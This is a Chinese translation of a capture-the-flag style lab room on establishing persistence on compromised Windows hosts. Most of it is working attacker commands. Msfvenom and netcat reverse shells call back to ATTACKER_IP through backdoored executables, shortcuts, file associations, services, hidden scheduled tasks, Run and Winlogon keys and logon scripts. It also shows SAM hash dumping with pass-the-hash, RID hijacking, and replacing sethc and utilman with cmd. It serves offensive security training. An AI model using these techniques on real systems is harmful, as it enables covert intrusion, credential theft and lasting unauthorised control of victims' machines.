Introduction

在目标的内部网络上获得第一个立足点后,您需要确保在真正获得关键信息之前不会失去对网络的访问权限。建立持久性是我们作为攻击者在获得网络访问权限时要完成的首要任务之一。简而言之,持久性是指创建替代方法来重新获得对主机的访问权限,而无需重新经历利用阶段。

您希望尽快建立持久性的原因有很多,包括:

  • 重新利用并不总是可行的:一些不稳定的漏洞可能会在利用过程中杀死易受攻击的进程,让您有机会利用其中一些漏洞。
  • 获得立足点很难重现:例如,如果您使用网络钓鱼活动获得首次访问权限,那么重复该活动以重新获得对主机的访问权限实在是太费力了。您的第二次活动可能也不会那么有效,让您无法访问网络。
  • 蓝队正在追捕你:如果你的行为被检测到,任何用于获得你首次访问权限的漏洞都可能被修补。你在与时间赛跑!

虽然你可以保留一些管理员的密码哈希并重新使用它来重新连接,但你总是冒着这些凭据在某个时候被轮换的风险。此外,还有一些更狡猾的方法可以让你重新获得对受感染机器的访问权限,这让蓝队的日子更难过。

在这个房间里,我们将看看攻击者用来在 Windows 系统中建立持久性的最常见技术。在进入这个房间之前,建议熟悉 Windows 系统基础知识。你可以在以下链接中查看有关此事的房间:

Powershell 也在这个房间里被广泛使用。你可以在 使用 Powershell 进行黑客攻击 房间中了解更多信息。

Tampering With Unprivileged Accounts

分配组成员身份

对于这部分任务,我们假设您已经转储了受害机器的密码哈希,并成功破解了正在使用的非特权帐户的密码。

让非特权用户获得管理权限的直接方法是使其成为管理员组的一部分。我们可以使用以下命令轻松实现这一点:

命令提示符

C:\> net localgroup administrators thmuser0 /add

这将允许您使用 RDP、WinRM 或任何其他可用的远程管理服务访问服务器。

如果这看起来太可疑,您可以使用 Backup Operators 组。此组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项,忽略任何配置的 DACL。这将允许我们复制 SAM 和 SYSTEM 注册表配置单元的内容,然后我们可以使用这些内容恢复所有用户的密码哈希,使我们能够轻松升级到任何管理帐户。

为此,我们首先将帐户添加到 Backup Operators 组:

命令提示符

C:\> net localgroup "Backup Operators" thmuser1 /add

由于这是一个非特权帐户,因此除非我们将其添加到远程桌面用户 (RDP) 或远程管理用户 (WinRM) 组,否则它无法通过 RDP 或 WinRM 返回到计算机。我们将使用 WinRM 执行此任务:

命令提示符

C:\> net localgroup "Remote Management Users" thmuser1 /add

如果您现在尝试从攻击者的机器进行连接,您会惊讶地发现,即使您属于备份操作员组,您也无法按预期访问所有文件。快速检查我们分配的组会发现我们是备份操作员的一部分,但该组已被禁用:

AttackBox

user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321

*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Group used for deny only
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

这是由于用户帐户控制 (UAC) 造成的。UAC 实现的功能之一 LocalAccountTokenFilterPolicy 会在远程登录时剥夺任何本地帐户的管理权限。虽然您可以通过 UAC 从图形用户会话提升您的权限(在此处阅读有关 UAC 的更多信息 此处),但如果您使用的是 WinRM,您将被限制在有限的访问令牌中,没有管理权限。

为了能够从您的用户那里重新获得管理权限,我们必须通过将以下注册表项更改为 1 来禁用 LocalAccountTokenFilterPolicy:

命令提示符

C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

一旦完成所有这些设置,我们就可以开始使用后门用户了。首先,让我们建立一个 WinRM 连接,并检查是否已为用户启用了备份操作员组:

AttackBox

user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321

*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288

然后我们继续备份 SAM 和 SYSTEM 文件,并将它们下载到我们的攻击者机器上:

AttackBox

*Evil-WinRM* PS C:\> reg save hklm\system system.bak
The operation completed successfully.

*Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
The operation completed successfully.

*Evil-WinRM* PS C:\> download system.bak
Info: Download successful!

*Evil-WinRM* PS C:\> download sam.bak
Info: Download successful!

注意:如果 Evil-WinRM 下载文件的时间过长,请随意使用任何其他传输方法。

有了这些文件,我们可以使用“secretsdump.py”或其他类似工具转储所有用户的密码哈希值:

AttackBox

user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cea1d7e8899f69e89088c4cb4bbdaa3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9657e898170eb98b25861ef9cafe5bd6:::
thmuser1:1011:aad3b435b51404eeaad3b435b51404ee:e41fd391af74400faa4ff75868c93cce:::
[*] Cleaning up...

最后,执行 Pass-the-Hash 以管理员权限连接到受害机器:

AttackBox

user@AttackBox$ evil-winrm -i MACHINE_IP -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3

特殊权限和安全描述符

无需修改任何组成员身份即可实现与将用户添加到备份操作员组类似的结果。特殊组之所以特殊,是因为操作系统默认为它们分配了特定权限。权限只是在系统本身上执行任务的能力。它们包括简单的事情,例如具有关闭服务器的能力,以及非常特权的操作,例如能够拥有系统上任何文件的所有权。完整的可用权限列表可在此处 中找到以供参考。

对于备份操作员组,它默认分配了以下两个权限:

  • SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何现有的 DACL。
  • SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何现有的 DACL。

我们可以将此类权限分配给任何用户,而不管他们的组成员身份如何。为此,我们可以使用 secedit 命令。首先,我们将当前配置导出到临时文件:

secedit /export /cfg config.inf

我们打开文件并将我们的用户添加到有关 SeBackupPrivilege 和 SeRestorePrivilege 的配置行中:

config.inf contents

我们最终将.inf 文件转换为.sdb 文件,然后使用该文件将配置加载回系统:

secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf

现在,您应该拥有一个具有与任何备份操作员同等权限的用户。该用户仍然无法通过 WinRM 登录系统,所以让我们对此采取一些措施。我们不会将用户添加到远程管理用户组,而是更改与 WinRM 服务关联的安全描述符以允许 thmuser2 连接。将 安全描述符 视为 ACL,但应用于其他系统设施。

要打开 WinRM 安全描述符的配置窗口,您可以在 Powershell 中使用以下命令(您需要为此使用 GUI 会话):

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

这将打开一个窗口,您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的全部权限:

WinRM security descriptor

完成此操作后,我们的用户可以通过 WinRM 进行连接。由于用户具有 SeBackup 和 SeRestore 权限,我们可以重复上述步骤,从 SAM 恢复密码哈希,然后重新与管理员用户建立连接。

请注意,要让此用户完全使用给定的权限,您必须更改 LocalAccountTokenFilterPolicy 注册表项,但我们已经这样做了,以获取上一个标志。

如果您检查用户的组成员身份,它将看起来像普通用户。一点可疑!

命令提示符

C:\> net user thmuser2
User name thmuser2

Local Group Memberships *Users
Global Group memberships *None

再次,我们假设我们已经将凭据转储到服务器上,并且拥有 thmuser2 的密码。让我们使用 WinRM 连接其凭据:

RID 劫持

另一种无需管理员身份即可获得管理权限的方法是更改某些注册表值,让操作系统认为您是管理员。

创建用户时,会为其分配一个称为 相对 ID (RID) 的标识符。RID 只是一个代表整个系统中用户的数字标识符。用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们就可以让 Windows 通过将相同的 RID 关联到两个帐户,为非特权用户分配管理员访问令牌。

在任何 Windows 系统中,默认管理员帐户都分配有 RID = 500,普通用户通常具有 RID >= 1000

要查找任何用户分配的 RID,您可以使用以下命令:

命令提示符

C:\> wmic useraccount get name,sid

Name SID
Administrator S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
Guest S-1-5-21-1966530601-3185510712-10604624-501
thmuser1 S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2 S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3 S-1-5-21-1966530601-3185510712-10604624-1010

RID 是 SID 的最后一位(thmuser3 为 1010,管理员为 500)。SID 是一个标识符,允许操作系统跨域识别用户,但对于此任务,我们不会太在意其余部分。

现在我们只需将 RID=500 分配给 thmuser3。为此,我们需要使用 Regedit 访问 SAM。SAM 仅限于 SYSTEM 帐户,因此即使管理员也无法编辑它。要以 SYSTEM 身份运行 Regedit,我们将使用 psexec,它位于您计算机的“C:\tools\pstools”中:

命令提示符

C:\tools\pstools> PsExec64.exe -i -s regedit

从 Regedit 中,我们将转到“HKLM\SAM\SAM\Domains\Account\Users\”,其中将有机器中每个用户的密钥。由于我们想要修改 thmuser3,因此我们需要搜索其 RID 为十六进制 (1010 = 0x3F2) 的密钥。在相应的密钥下,将有一个名为 F 的值,它在位置 0x30 处保存用户的有效 RID:

RID hijacking 1

请注意,RID 使用小端表示法存储,因此其字节显示为反转。

现在我们将用十六进制的管理员 RID(500 = 0x01F4)替换这两个字节,并交换字节(F401):

RID hijacking 2

thmuser3 下次登录时,LSASS 会将其与管理员相同的 RID 关联,并授予他们相同的权限。

Backdooring Files

建立持久性的另一种方法是篡改我们知道用户经常与之交互的一些文件。通过对这些文件进行一些修改,我们可以植入后门,这些后门将在用户访问时执行。由于我们不想创建任何可能暴露我们身份的警报,因此我们修改的文件必须按预期为用户工作。

虽然植入后门的机会很多,但我们将检查最常用的后门。

可执行文件

如果您在桌面上发现任何可执行文件,则用户可能经常使用它的可能性很高。假设我们找到了一个 PuTTY 的快捷方式。如果我们检查快捷方式的属性,我们可以看到它(通常)指向 C:\Program Files\PuTTY\putty.exe。从那一刻起,我们可以将可执行文件下载到攻击者的机器上并对其进行修改以运行我们想要的任何有效载荷。

您可以使用 msfvenom 轻松地在任何 .exe 文件中植入您喜欢的有效载荷。该二进制文件仍将照常工作,但通过在二进制文件中添加额外的线程,可以默默执行额外的有效负载。要创建后门 putty.exe,我们可以使用以下命令:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户不知情的情况下执行 reverse_tcp meterpreter 有效负载。虽然这种方法足以建立持久性,但让我们看看其他更狡猾的技术。

快捷方式文件

如果我们不想更改可执行文件,我们可以随时篡改快捷方式文件本身。我们可以将其更改为指向将运行后门然后正常执行常规程序的脚本,而不是直接指向预期的可执行文件。

对于此任务,让我们检查管理员桌面上 calc 的快捷方式。如果我们右键单击它并转到属性,我们将看到它指向的位置:

calc properties

在劫持快捷方式的目标之前,让我们在“C:\Windows\System32”或任何其他隐蔽位置创建一个简单的 Powershell 脚本。该脚本将执行反向 shell,然后从快捷方式属性上的原始位置运行 calc.exe:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe

最后,我们将更改快捷方式以指向我们的脚本。请注意,在执行此操作时,快捷方式的图标可能会自动调整。确保将图标指向原始可执行文件,以便用户看不到任何可见的更改。我们还想在隐藏窗口上运行我们的脚本,为此我们将在 Powershell 中添加 -windowstyle hidden 选项。快捷方式的最终目标是:

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

backdoored lnk file

让我们启动一个 nc 监听器来在攻击者的机器上接收反向 shell:

AttackBox

user@AttackBox$ nc -lvp 4445

如果您双击该快捷方式,您应该会重新连接到攻击者的计算机。同时,用户将获得他们所期望的计算器。您可能会注意到命令提示符在屏幕上闪烁并立即消失。希望普通用户不会太介意这一点。

劫持文件关联

除了通过可执行文件或快捷方式进行持久化,我们还可以劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell。

默认操作系统文件关联保存在注册表中,其中每个文件类型的密钥都存储在“HKLM\Software\Classes\”下。假设我们想检查哪个程序用于打开 .txt 文件;我们可以直接检查“.txt”子项,并找到与之关联的**程序 ID (ProgID)**。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将获得以下 ProgID:

File extensions in registry

然后,我们可以搜索相应 ProgID 的子项(也在“HKLM\Software\Classes\”下),在本例中为“txtfile”,我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目在“shell\open\command”下都有一个子项,其中指定了针对具有该扩展名的文件运行的默认命令:

ProgID in registry

在这种情况下,当你尝试打开 .txt 文件时,系统将执行 %SystemRoot%\system32\NOTEPAD.EXE %1,其中 %1 代表打开的文件的名称。如果我们想劫持此扩展,我们可以用执行后门的脚本替换该命令,然后照常打开文件。首先,让我们创建一个具有以下内容的 ps1 脚本并将其保存到 C:\Windows\backdoor2.ps1

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

请注意,在 Powershell 中,我们必须将 $args[0] 传递给记事本,因为它将包含要打开的文件的名称,如通过 %1 给出的。

现在让我们更改注册表项以在隐藏窗口中运行我们的后门脚本:

backdoored ProgID

最后,为你的反向 shell 创建一个监听器,并尝试打开受害者机器上的任何 .txt 文件(如果需要,创建一个)。你应该会收到一个具有打开文件的用户权限的反向 shell。

Abusing Services

Windows 服务提供了一种很好的建立持久性的方法,因为它们可以配置为在受害机器启动时在后台运行。如果我们可以利用任何服务为我们运行某些东西,那么每次启动受害机器时,我们都可以重新获得对受害机器的控制权。

服务基本上是在后台运行的可执行文件。配置服务时,您可以定义将使用哪个可执行文件,并选择服务是在机器启动时自动运行还是应该手动启动。

我们可以通过两种主要方式滥用服务来建立持久性:创建新服务或修改现有服务以执行我们的有效载荷。

创建后门服务

我们可以使用以下命令创建并启动名为“THMservice”的服务:

sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

注意:每个等号后面必须有一个空格,命令才能起作用。

服务启动时将执行“net user”命令,将管理员密码重置为“Passwd123”。请注意,服务已设置为自动启动(start=auto),因此无需用户交互即可运行。

重置用户密码效果很好,但我们也可以使用 msfvenom 创建反向 shell 并将其与创建的服务关联。但请注意,服务可执行文件是唯一的,因为它们需要实现特定协议才能由系统处理。如果要创建与 Windows 服务兼容的可执行文件,可以使用 msfvenom 中的“exe-service”格式:

AttackBox

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

然后,您可以将可执行文件复制到目标系统,例如“C:\Windows”,并将服务的 binPath 指向它:

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

这应该会创建一个与攻击者机器的连接。

修改现有服务

虽然创建新服务以保持持久性效果很好,但蓝队可能会监控整个网络的新服务创建。我们可能希望重用现有服务,而不是创建一个服务以避免被发现。通常,任何禁用的服务都是不错的选择,因为它可以在用户不知情的情况下被更改。

您可以使用以下命令获取可用服务的列表:

命令提示符

C:\> sc.exe query state=all
SERVICE_NAME: THMService1
DISPLAY_NAME: THMService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

您应该能够找到一个名为 THMService3 的已停止服务。要查询该服务的配置,您可以使用以下命令:

命令提示符

C:\> sc.exe qc THMService3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMService3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MyService\THMService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : THMService3
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\Local Service

使用服务进行持久化时,我们关心三件事:

  • 可执行文件 (BINARY_PATH_NAME) 应指向我们的有效载荷。
  • 服务 START_TYPE 应为自动,以便有效载荷无需用户交互即可运行。
  • SERVICE_START_NAME(即服务将在其下运行的帐户)最好设置为 LocalSystem 以获取 SYSTEM 权限。

让我们首先使用 msfvenom 创建一个新的反向 shell:

AttackBox

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe

要重新配置“THMservice3”参数,我们可以使用以下命令:

命令提示符

C:\> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

然后,您可以再次查询服务的配置,以检查一切是否按预期进行:

命令提示符

C:\> sc.exe qc THMservice3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMservice3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\rev-svc2.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : THMservice3
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Abusing Scheduled Tasks

如果需要,我们还可以使用计划任务来建立持久性。有几种方法可以安排 Windows 系统中有效载荷的执行。让我们看看其中的一些:

任务计划程序

安排任务的最常见方法是使用内置的 Windows 任务计划程序。任务计划程序允许对任务的启动时间进行精细控制,允许您配置将在特定时间激活、定期重复甚至在发生特定系统事件时触发的任务。从命令行,您可以使用“schtasks”与任务计划程序交互。可以在 Microsoft 网站 上找到该命令的完整参考。

让我们创建一个每分钟运行一次反向 shell 的任务。在现实世界中,您不希望您的有效载荷如此频繁地运行,但我们不想等待这个房间太久:

命令提示符

C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.

注意:务必使用“THM-TaskBackdoor”作为任务名称,否则您将无法获得标志。

上一个命令将创建一个“THM-TaskBackdoor”任务并执行一个“nc64”反向 shell 返回给攻击者。“/sc”和“/mo”选项表示该任务应该每分钟运行一次。“/ru”选项表示该任务将以系统权限运行。

要检查我们的任务是否已成功创建,我们可以使用以下命令:

命令提示符

C:\> schtasks /query /tn thm-taskbackdoor

Folder: \
TaskName Next Run Time Status
======================================== ====================== ===============
thm-taskbackdoor 5/25/2022 8:08:00 AM Ready

使我们的任务不可见

我们的任务现在应该已启动并运行,但如果受感染的用户尝试列出其计划任务,我们的后门将显而易见。为了进一步隐藏我们的计划任务,我们可以通过删除其**安全描述符 (SD)**使其对系统中的任何用户不可见。安全描述符只是一个 ACL,它说明哪些用户可以访问计划任务。如果您的用户无权查询计划任务,您将无法再看到它,因为 Windows 只会显示您有权使用的任务。删除 SD 相当于禁止所有用户访问计划任务,包括管理员。

所有计划任务的安全描述符都存储在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ 中。您将为每个任务找到一个注册表项,该项下名为“SD”的值包含安全描述符。只有拥有 SYSTEM 权限,您才能删除该值。

为了隐藏我们的任务,让我们删除之前创建的“THM-TaskBackdoor”任务的 SD 值。为此,我们将使用“psexec”(位于“C:\tools”中)以 SYSTEM 权限打开 Regedit:

命令提示符

C:\> c:\tools\pstools\PsExec64.exe -s -i regedit

然后我们将删除我们任务的安全描述符:

Task Scheduler SD

如果我们再次尝试查询我们的服务,系统会告诉我们没有这样的任务:

命令提示符

C:\> schtasks /query /tn thm-taskbackdoor ERROR: The system cannot find the file specified.

如果我们在攻击者的机器上启动 nc 监听器,一分钟后我们就会得到一个 shell:

AttackBox

user@AttackBox$ nc -lvp 4449

Logon Triggered Persistence

用户执行的某些操作也可能与执行特定有效负载绑定以实现持久性。Windows 操作系统提供了几种将有效负载与特定交互链接起来的方法。此任务将研究植入有效负载的方法,这些有效负载将在用户登录系统时执行。

启动文件夹

每个用户在 C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 下都有一个文件夹,您可以在其中放置用户登录时要运行的可执行文件。攻击者只需将有效负载放入其中即可实现持久性。请注意,每个用户只会运行其文件夹中可用的任何内容。

如果我们想强制所有用户在登录时运行有效负载,我们可以以相同的方式使用 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 下的文件夹。

对于此任务,让我们使用 msfvenom 生成反向 shell 有效负载:

AttackBox

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

然后,我们将有效载荷复制到受害者机器中。你可以使用 Python3 生成一个 http.server,并在受害者机器上使用 wget 来提取文件:

AttackBox

user@AttackBox$ python3 -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...


Powershell

PS C:\> wget http://ATTACKER_IP:8000/revshell.exe -O revshell.exe
We then store the payload into the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp folder to get a shell back for any user logging into the machine.

Command Prompt

C:\> copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

现在请确保从开始菜单退出您的会话(关闭 RDP 窗口是不够的,因为它会使您的会话保持打开状态):

并通过 RDP 重新登录。您应该立即收到与攻击者机器的连接。

Run / RunOnce

您还可以通过注册表强制用户在登录时执行程序。您可以使用以下注册表项来指定登录时要运行的应用程序,而不是将有效负载传递到特定目录中:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU 下的注册表项仅适用于当前用户,而 HKLM 下的注册表项适用于所有人。Run 键下指定的任何程序都会在用户每次登录时运行。RunOnce 键下指定的程序只会执行一次。

为了完成此任务,让我们使用 msfvenom 创建一个新的反向 shell:

AttackBox

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe
After transferring it to the victim machine, let's move it to C:\Windows\:

Command Prompt

C:\> move revshell.exe C:\Windows

然后,让我们在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下创建一个 REG_EXPAND_SZ 注册表项。该项的名称可以是任何你喜欢的名称,其值将是我们要执行的命令。

然后,让我们在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下创建一个 REG_EXPAND_SZ 注册表项。该项的名称可以是任何你喜欢的名称,其值将是我们要执行的命令。

注意:虽然在实际设置中,你可以为注册表项使用任何名称,但对于此任务,你需要使用 MyBackdoor 来接收标志。

完成此操作后,退出当前会话并再次登录,你应该会收到一个 shell(大概需要 10-20 秒)。

Winlogon

另一种在登录时自动启动程序的方法是滥用 Winlogon,它是 Windows 组件,可在身份验证后立即加载用户配置文件(以及其他操作)。

Winlogon 使用 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 下的一些注册表项,这些注册表项可能有助于获得持久性:

Userinit 指向 userinit.exe,它负责恢复用户配置文件首选项。
shell 指向系统的 shell,通常是 explorer.exe。

如果我们用某个反向 shell 替换任何可执行文件,我们就会破坏登录序列,而这并不是我们所希望的。有趣的是,您可以附加用逗号分隔的命令,Winlogon 将处理所有命令。

让我们从创建一个 shell 开始:

AttackBox

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452 -f exe -o revshell.exe

我们将像之前一样将 shell 传输到受害机器。然后我们可以将 shell 复制到我们喜欢的任何目录。在本例中,我们将使用 C:\Windows:

Command Prompt

C:\> move revshell.exe C:\Windows

然后我们在 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 中更改 shell 或 Userinit。在本例中,我们将使用 Userinit,但使用 shell 的过程是相同的。

注意:虽然 shell 和 Userinit 都可用于在实际场景中实现持久性,但要获取此房间中的标志,您需要使用 Userinit。

完成此操作后,退出当前会话并再次登录,您应该会收到一个 shell(大概需要 10 秒钟)。

Logon scripts

userinit.exe 在加载用户配置文件时执行的一项操作是检查名为 UserInitMprLogonScript 的环境变量。我们可以使用此环境变量为用户分配登录脚本,该脚本将在登录计算机时运行。默认情况下未设置该变量,因此我们可以创建它并分配任何我们喜欢的脚本。

请注意,每个用户都有自己的环境变量;因此,您需要分别对每个用户进行后门处理。

让我们首先创建一个反向 shell 以用于此技术:

AttackBox

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453 -f exe -o revshell.exe

我们将像之前一样将 shell 传输到受害机器。然后我们可以将 shell 复制到我们喜欢的任何目录。在本例中,我们将使用 C:\Windows:

Command Prompt

C:\> move revshell.exe C:\Windows

要为用户创建环境变量,您可以转到注册表中的 HKCU\Environment。我们将使用 UserInitMprLogonScript 条目指向我们的有效负载,以便在用户登录时加载它:

请注意,此注册表项在 HKLM 中没有等效项,因此您的后门仅适用于当前用户。

完成此操作后,退出当前会话并再次登录,您应该会收到一个 shell(大概需要 10 秒钟)。

Backdooring the Login Screen / RDP

如果我们对机器有物理访问权限(或在我们的例子中是 RDP),则可以对登录屏幕进行后门操作,以访问终端,而无需拥有机器的有效凭据。

我们将介绍两种依赖辅助功能来实现此目的的方法。

粘滞键

按下 CTRL + ALT + DEL 等组合键时,您可以将 Windows 配置为使用粘滞键,这样您就可以按顺序按下组合键,而不是同时按下。从这个意义上讲,如果粘滞键处于活动状态,您可以按下并释放 CTRL,按下并释放 ALT,最后按下并释放 DEL,以实现与按下 CTRL + ALT + DEL 组合键相同的效果。

要使用粘滞键建立持久性,我们将滥用 Windows 安装中默认启用的快捷方式,该快捷方式允许我们通过按 5 次 SHIFT 来激活粘滞键。输入快捷方式后,我们通常会看到如下所示的屏幕:

sticky keys

按 5 次 SHIFT 后,Windows 将执行 C:\Windows\System32\sethc.exe 中的二进制文件。如果我们能够将此类二进制文件替换为我们喜欢的有效负载,那么我们就可以使用快捷方式触发它。有趣的是,我们甚至可以在输入任何凭据之前从登录屏幕执行此操作。

后门登录屏幕的一个直接方法是用 cmd.exe 的副本替换 sethc.exe。这样,我们就可以使用粘滞键快捷方式生成控制台,甚至可以从日志屏幕生成控制台。

要覆盖 sethc.exe,我们首先需要拥有该文件的所有权并授予当前用户修改它的权限。只有这样,我们才能用 cmd.exe 的副本替换它。我们可以使用以下命令执行此操作:

命令提示符

C:\> takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
1 file(s) copied.

完成此操作后,从开始菜单锁定您的会话:

lock session

您现在应该能够按五次“SHIFT”直接从登录屏幕访问具有 SYSTEM 权限的终端:

sethc backdoor

Utilman

Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:

utilman

当我们点击登录屏幕上的轻松访问按钮时,它会以 SYSTEM 权限执行“C:\Windows\System32\Utilman.exe”。如果我们用“cmd.exe”的副本替换它,我们就可以再次绕过登录屏幕。

要替换“utilman.exe”,我们执行与“sethc.exe”类似的过程:

命令提示符

C:\> takeown /f c:\Windows\System32\utilman.exe

SUCCESS: The file (or folder): "c:\Windows\System32\utilman.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
